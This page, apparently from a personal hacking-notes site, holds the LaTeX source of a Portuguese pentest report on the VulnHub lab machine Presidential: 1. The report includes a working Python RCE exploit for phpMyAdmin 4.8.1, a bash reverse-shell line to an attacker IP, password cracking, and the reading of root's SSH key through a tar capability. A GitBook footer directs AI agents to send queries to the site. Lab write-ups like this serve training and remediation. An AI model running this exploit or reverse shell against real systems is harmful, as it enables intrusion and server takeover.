> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# Relatório 1 - Write-up Presidencial em LaTeX

Notas de relatório LaTeX do Presidential VulnHub para produzir writeups profissionais de testes de invasão, estruturar achados e documentar evidências de exploração.

{% hint style="warning" %}
Aqui está um exemplo de um relatório técnico profissional, simulando que trabalho para a Orange Cyberdefense, relacionado a uma auditoria ambiental e da empresa "[Presidencial](/pt-br/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)". Para esta análise, usei uma máquina VulnHub pré-configurada com vulnerabilidades web e riscos de escalonamento de privilégios.

O relatório foi escrito usando o [LaTeX](https://www.overleaf.com/) software, reconhecido por sua complexidade técnica, mas também por sua grande utilidade e capacidade de produzir relatórios profissionais de alta qualidade com grande liberdade de personalização. Abaixo você encontrará o código LaTeX e o arquivo PDF que ilustram este exemplo.
{% endhint %}

{% file src="/files/ccd9b58c26cd9dd3f8ada0bb519ef17f5cd091fc" %}

<div data-full-width="false"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-843be087e817938e2a454e3395ce46e9401f9d29%2Fimage%20(2034).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>Configurando o ambiente para gerar arquivos PDF a partir do LaTeX:</summary>

1. Verifique o aplicativo padrão para arquivos PDF:

```bash
xdg-mime query default application/pdf
```

2. Defina o aplicativo padrão como Zathura para arquivos PDF:

```bash
xdg-mime default zathura.desktop application/pdf
```

3. Crie o arquivo .tex para o seu documento:

```bash
touch presidential.tex
```

4. Compile o documento:

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52238332ca68596b3760422ea633b7cf02dffd51%2Fimage%20(2033).png?alt=media" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% Pacotes
/usepackage[utf8]{inputenc} % Codifique seu texto em UTF-8
/usepackage[english]{babel} % Idioma inglês
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % Layout da página
/usepackage{graphicx} % Para incluir imagens
/usepackage[table,xcdraw]{xcolor} % Cores
/usepackage{tikz,lipsum,lmodern} % Desenhos
/usepackage[most]{tcolorbox} % Caixas personalizadas
/usepackage{fancyhdr} % Cabeçalhos e rodapés
/usepackage[hidelinks]{hyperref} % Hiperlinks
/usepackage{setspace} % Espaço entre linhas
/usepackage{listings} % Exibição do código-fonte
/setstretch{1.2} % Espaçamento entre linhas
/usepackage{parskip} % Espaçamento entre parágrafos
/setlength{/parindent}{0pt} % Sem recuo de parágrafo
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % Espaçamento entre parágrafos
/setlength{/parfillskip}{/parindent plus 1fill} % Justificação do texto
/usepackage[figurename=Figure]{caption} % Rótulo da figura
/usepackage{ragged2e} % Justificação do texto

% Variáveis
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{Presidential: 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{21 de fevereiro de 2024}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% Cores
/definecolor{bluePortada}{HTML}{146c8a}

% Personalização do título
/addto/captionsenglish{/renewcommand{/contentsname}{Sumário}}

% Cabeçalhos e rodapés
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % Logotipo da empresa à esquerda do cabeçalho
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % Logotipo da plataforma à direita do cabeçalho
/renewcommand{/headrulewidth}{3pt} % Largura da linha do cabeçalho
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % Cor da linha do cabeçalho

% Configurando legendas do código-fonte
/renewcommand{/lstlistingname}{Código

% Estilos do código-fonte
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  quebrável,
  aprimorado,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  title=Definição,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % Cor dos comentários
    keywordstyle=/color{magenta}, % Cor das palavras-chave
    numberstyle=/tiny/color{codegray}, % Estilo dos números de linha
    stringstyle=/color{codepurple}, % Cor das strings
    basicstyle=/ttfamily/footnotesize, % Estilo base do texto
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % Configuração global do estilo do código

% Início do documento
/begin{document}
/cfoot{/thepage} % Rodapé com número da página
  /begin{titlepage} % Página de título
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % Logotipo da página de título
{/scshape/LARGE /textbf{Relatório Técnico}/par/vspace{0.4cm}} % Título do relatório
{/Huge/textcolor{bluePortada}{/textbf{Máquina /machineName}}} % Nome da máquina
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % Imagem da máquina
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % Caixa de privacidade
    /centering
Este documento é confidencial e contém informações sensíveis. // Ele não deve ser impresso nem compartilhado com terceiros.
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % Data do relatório
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% Início do sumário
/clearpage
/tableofcontents % Sumário
/clearpage

/section{Contexto}
Este documento apresenta os resultados obtidos durante a fase de auditoria realizada na máquina /textbf{/machineName}, listando todos os vetores de ataque encontrados, bem como a exploração realizada para cada um deles.

Esta máquina foi baixada da plataforma /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}}, uma plataforma de treinamento e prática para pessoas interessadas em segurança da informação e hacking ético. Abaixo é fornecido o link de download desta máquina:

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=URL de destino,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{Página inicial do serviço web da máquina}
/end{figure}
/vspace{1cm}
/section {Objetivos}
Os objetivos desta auditoria de segurança são identificar possíveis vulnerabilidades e pontos fracos na máquina /textbf{/color{bluePortada}/machineName}, com o objetivo de garantir a integridade e a confidencialidade das informações armazenadas nela.

Com isso em mente, foi realizada uma análise exaustiva de todos os serviços detectados expostos neste servidor, coletando informações detalhadas sobre aqueles que apresentavam um risco potencial do ponto de vista de segurança.
/clearpage

/subsection{Escopo}

Os objetivos a serem alcançados nesta auditoria são apresentados a seguir:

/begin{itemize}
/item Identificar portas e serviços vulneráveis.
/item Explorar as vulnerabilidades identificadas.
/item Obter acesso ao servidor explorando os serviços vulneráveis identificados.
/item Listar possíveis caminhos para escalonar privilégios no sistema, uma vez comprometido.
/end{itemize}

/subsection{Restrições e Limitações}

Durante o processo de auditoria, é estritamente proibido realizar qualquer uma das seguintes atividades:

/begin{itemize}
/item Realizar tarefas que possam resultar em /textbf{negação de serviço} ou afetar a disponibilidade dos serviços expostos.
/item Excluir arquivos residentes no servidor após o comprometimento.
/end{itemize}

/subsection{Resumo geral}

Esta auditoria revelou inúmeras vulnerabilidades de segurança significativas que colocam em risco a integridade e a confidencialidade das informações hospedadas no servidor. Desde a exposição de arquivos de backup sensíveis até a exploração de vulnerabilidades críticas no phpMyAdmin, o servidor mostrou-se vulnerável a vários ataques.

A identificação de subdomínios, a enumeração de serviços expostos e a exploração de painéis com autenticação fraca foram pontos de entrada fundamentais para os ataques realizados durante esta auditoria.

É essencial agir imediatamente para corrigir essas vulnerabilidades e mitigar os riscos de segurança. Recomenda-se fortemente atualizar o phpMyAdmin para a versão mais recente e implementar medidas adicionais de segurança, como restringir o acesso a arquivos sensíveis e implementar filtros de entrada apropriados em aplicações web expostas.

Em resumo, esta auditoria destaca a importância de manter uma postura proativa de segurança dos sistemas, realizando auditorias periódicas, aplicando patches de segurança e seguindo as melhores práticas de cibersegurança para proteger os ativos digitais de uma organização.

/clearpage
/section{Reconhecimento}
/subsection{Enumeração dos serviços expostos}
Abaixo você encontrará provas das portas e serviços identificados durante o reconhecimento realizado com a ferramenta /textbf{nmap}:
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{Enumeração de portas com nmap}
/end{figure}

/vspace{0.3cm}
Neste caso, duas portas ativas foram identificadas usando o protocolo TCP:

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {Porta 80};
/node (port2) [below right of=center, node distance=3cm] {Porta 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

Da mesma forma, não foram encontradas portas expostas por meio de outros protocolos, portanto a avaliação das portas identificadas na primeira varredura é priorizada.

/clearpage
/subsection{Enumeração dos servidores web}

Abaixo estão os resultados obtidos com a ferramenta /textbf{WhatWeb}, uma ferramenta de reconhecimento web usada para identificar tecnologias web específicas utilizadas em um site, após realizar o reconhecimento do serviço HTTP em execução na porta 80.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{Enumeração do serviço HTTP na porta 80}
/end{figure}

Os resultados obtidos permitem identificar as versões de algumas das tecnologias existentes:

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{Tecnologia} & /textbf{Versão} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

Entre as informações fornecidas, também é possível identificar 2 endereços de e-mail, que poderiam ser usados em ataques de /textbf{phishing}:

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

O /textbf{phishing} é um tipo de ataque de computador usado para enganar indivíduos a fim de obter informações confidenciais, como senhas, dados bancários ou detalhes de cartão de crédito. O ataque é realizado por meio do envio de e-mails ou mensagens de texto fraudulentos que parecem legítimos e pedem ao destinatário que forneça informações pessoais e confidenciais.

Além disso, também foi possível identificar a versão do /textbf{CentOS} que está ativa graças a um reconhecimento exaustivo realizado no serviço web com a ferramenta /textbf{wig}.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{Enumeração do serviço HTTP na porta 80}
/end{figure}
/clearpage

/subsection{Enumeração de subdomínios}
Uma vez que o domínio '/textbf{votenow.local}' foi identificado por meio dos e-mails, foi realizado um ataque de força bruta no domínio principal com o objetivo de identificar subdomínios válidos.

Após concluir o ataque de força bruta, estes são os resultados obtidos:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{Subdomínios identificados com Gobuster}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
O subdomínio '/textbf{datasafe.votenow.local}' foi identificado como um subdomínio válido. Esse subdomínio desempenhou um papel crucial na auditoria, pois foi por meio dele que se obteve acesso ao sistema explorando uma vulnerabilidade presente no /textbf{phpMyAdmin}.

Observe que, para que esses domínios e subdomínios fossem acessíveis, foi necessário adicionar o seguinte conteúdo ao arquivo '/textbf{/etc/hosts}':

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{Conteúdo do arquivo /etc/hosts}
/end{figure}
/vspace{0.3cm}
Isso se deve à aplicação de '/textbf{virtual hosting}', uma técnica usada em servidores web para hospedar vários sites em uma única máquina física. O arquivo '/textbf{/etc/hosts}' é usado para associar o nome de domínio de cada site ao endereço IP do servidor.

Na ausência dessa associação, o servidor web não poderá determinar o site correto a ser servido, resultando em um erro ou na exibição de um site incorreto.
/clearpage
/subsection{Enumeração dos painéis de autenticação}
Uma vez que o subdomínio '/textbf{datasafe.votenow.local}' foi descoberto, como mostrado na imagem /ref{fig:identifiedSubdomains} na página /pageref{fig:identifiedSubdomains}, o seguinte painel de autenticação do /textbf{phpMyAdmin} foi encontrado:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{Painel de autenticação do phpMyAdmin}
/label{fig:PhpMyAdmin}
/end{figure}

/section{Identificação e Exploração de Vulnerabilidades}
/subsection{Exposição de um arquivo de backup}

Durante uma fase de reconhecimento com a ferramenta /textbf{gobuster}, uma ferramenta de linha de comando de código aberto usada para procurar e enumerar recursos web em servidores e sites, foi identificado no servidor um arquivo de backup exposto:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{Arquivo de backup exposto no servidor}
/end{figure}

/clearpage

Esse arquivo foi enviado para verificar se continha informações sensíveis que pudessem representar um risco de segurança. Nesse ponto, determinou-se que o arquivo continha as seguintes informações privilegiadas:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{Conteúdo do arquivo de backup de credenciais}
/end{figure}

Esses identificadores correspondem aos identificadores de acesso ao banco de dados, o que permitiu, devido à reutilização de nome de usuário e senha, acessar o /textbf{phpMyAdmin} conforme representado na imagem /ref{fig:phpMyAdmin} na página /pageref{fig:phpMyAdmin}.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{Conexão com a interface de controle do phpMyAdmin}
/end{figure}

/clearpage
/subsection{Exploração do phpMyAdmin}
Uma vez conectado ao /textbf{phpMyAdmin}, foi possível identificar a versão atualmente em uso:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {Versão utilizada do phpMyAdmin}
/end{figure}

/vspace{0.3cm}
Essa versão corresponde a uma /textbf{versão antiga} do phpMyAdmin, expondo assim várias /textbf{vulnerabilidades críticas} identificadas:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {Vulnerabilidades da versão do phpMyAdmin utilizada}
/end{figure}


/clearpage
Entre elas, uma pode permitir que um invasor malicioso /textbf{execute código remotamente} no servidor.

A seguir, está o script em Python3 que foi usado para executar comandos remotos no servidor:

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=Exploit para a versão vulnerável do phpMyAdmin]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
Uma vez realizada a execução e a injeção de um comando que permite a entrada no sistema, o acesso ao servidor foi obtido:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {Acesso ao servidor por meio da exploração do phpMyAdmin}
/end{figure}

Nesse caso, um comando é executado por meio do '/textbf{curl}', interpretando um script Bash que contém o seguinte conteúdo:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=Script Bash responsável por estabelecer a conexão]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

Esse script está hospedado no servidor do atacante, evitando assim deixar arquivos residuais no servidor alvo. Uma vez que o comando é executado, o atacante obtém acesso ao servidor, tendo controle da máquina neste caso, como o usuário '/textbf{apache}'.

Como pode ser visto no script, basicamente o que está acontecendo é que o script explora uma vulnerabilidade /textbf{LFI} presente nesta versão do phpMyAdmin para realizar a execução remota de comandos:

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=Trecho de código relacionado à exploração de LFI]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI (Local File Inclusion) é uma vulnerabilidade de segurança em aplicações web que permite a um atacante acessar arquivos locais no servidor ao incluir arquivos locais em uma página web.
/end{definicion}
/clearpage

Por meio do LFI, obtemos informações sobre um recurso PHP que armazena sessões, representando informações relacionadas às diferentes sessões ativas no lado dos usuários.

Ao explorar essa leitura e a própria sessão do usuário, usamos uma /textbf{consulta SQL} para inserir uma consulta contendo código PHP, visível a partir dos arquivos de sessão do usuário por meio do LFI. Isso leva, portanto, à execução remota de comandos, porque o código PHP não é interpretado pelo servidor.

/section{Escalonamento de Privilégios}
Uma vez que todo o sistema é comprometido, o objetivo principal agora será obter os maiores privilégios possíveis no servidor. Com o objetivo de aumentar nossas permissões e obter maior controle e acesso a todos os serviços expostos.
/subsection{Migração para o usuário Administrador}
No servidor, existe um usuário Administrador que parece bem configurado porque temos /textbf{acesso restrito} a partir do usuário apache.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {Acesso negado ao diretório inicial do Admin}
/end{figure}

Entretanto, no banco de dados anteriormente comprometido, aparece uma senha com hash com o mesmo nome de usuário desse usuário. Reutilizar senhas para um usuário é algo crítico e, neste caso, isso resultaria na migração direta do usuário.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {Senha com hash armazenada no banco de dados do usuário admin}
/end{figure}
/clearpage
/subsection{Quebra da senha hash exposta do usuário admin}
Como a senha está com hash, usaremos a ferramenta '/textbf{john}' para quebrar o hash da senha do administrador a fim de descriptografá-la e vê-la em texto puro. Nesse caso, foi usado um dicionário contendo mais de dez milhões de combinações diferentes e, como a senha não é muito complexa, a ferramenta levou alguns minutos para quebrá-la e expô-la.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {Senha em texto puro do usuário admin descriptografada}
/end{figure}
/vspace{0.3cm}
/newline A migração para o usuário admin foi possível devido à /textbf{reutilização da mesma senha} para o usuário admin tanto no banco de dados quanto no usuário do sistema. Isso é uma má prática e recomenda-se ter uma senha diferente para cada serviço distinto para evitar problemas críticos como neste caso.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {Acesso ao diretório do usuário privilegiado admin}
/end{figure}
/clearpage
/subsection{Vulnerabilidade de capacidades de permissão expondo a chave SSH}
/vspace{0.3cm}
/begin{definicion}
As capabilities no Linux são um mecanismo de segurança que concede privilégios específicos a programas, permitindo operações restritas sem necessidade de conceder acesso root total.
/end{definicion}
Neste caso, foi encontrada uma permissão de capacidade que permitia, com a ferramenta tarS, visualizar todos os arquivos no sistema sem nenhuma regra ou bloqueio, já que isso era feito a partir do usuário root. Ao explorar essa permissão, a /textbf{chave privada SSH} do usuário root foi listada com o seguinte comando:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {Chave privada SSH do usuário root}
/end{figure}
/subsection{Acesso root ao sistema}
Eventualmente, foi obtido acesso à máquina com privilégios de root. Há uma necessidade urgente de remover a capability da ferramenta tarS e encontrar uma alternativa que não permita esse escalonamento de privilégios.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {Obtendo a flag do usuário root}
/end{figure}
/clearpage
/section{Contramedidas e Boas Práticas}

A fim de evitar possível exploração indesejada no servidor exposto, as boas práticas a seguir para as diversas vulnerabilidades descobertas são listadas abaixo.

/subsection{Vulnerabilidade do phpMyAdmin 4.8.1}
O phpMyAdmin é uma ferramenta popular para gerenciar bancos de dados MySQL via interface web. No entanto, a versão 4.8.1 do phpMyAdmin possui vulnerabilidades conhecidas que podem permitir que um invasor execute código arbitrário no servidor web onde ela está hospedada.

Para corrigir essa vulnerabilidade, é necessário /textbf{atualizar} para a versão mais recente do phpMyAdmin (atualmente a versão 5.2.1). Se por algum motivo não for possível atualizar para a versão mais recente, há algumas etapas que você pode seguir para mitigar o risco de exploração:
/begin{itemize}
/item Corrigir o código do script '/textbf{index.php}' para que a variável fornecida pelo usuário '/textbf{target}' seja controlada corretamente.
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {Parâmetro de destino vulnerável}
/end{figure}

/begin{itemize}
/item Em vez de permitir que o usuário especifique qualquer arquivo a ser incluído, defina uma lista de arquivos permitidos e verifique se o valor passado ao parâmetro '/textbf{target}' está na lista antes de incluir o arquivo.
/end{itemize}

/subsection{Escalada de privilégios via capabilities}
Primeiro, elimine a capacidade da ferramenta tarS. Para corrigir e verificar se um serviço ou ferramenta é vulnerável a essa escalada de privilégios, você pode visitar o seguinte site, que contém um mecanismo de busca com todas as vulnerabilidades possíveis sobre esse assunto:
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=URL de destino,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{Conclusões}
A auditoria de segurança realizada na máquina /textbf{Presidential: 1} revelou uma série de vulnerabilidades críticas que colocaram em risco a integridade e a confidencialidade das informações hospedadas no servidor. Desde a divulgação de arquivos sensíveis até a exploração de vulnerabilidades no phpMyAdmin, foi destacada a importância de manter todos os componentes do sistema atualizados e seguir boas práticas de segurança.

A exploração bem-sucedida da vulnerabilidade no phpMyAdmin permitiu que os invasores acessassem o servidor e elevassem seus privilégios até o usuário administrador, comprometendo assim todo o sistema. Isso destaca a importância de implementar medidas de segurança proativas, como atualizar o software regularmente, realizar um gerenciamento adequado de senhas e monitorar continuamente o servidor.

Para se proteger contra ataques futuros, é altamente recomendável implementar as contramedidas mencionadas anteriormente e seguir as melhores práticas de cibersegurança. A segurança deve ser uma preocupação constante e prioritária para garantir a proteção dos ativos digitais e a continuidade dos negócios.

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
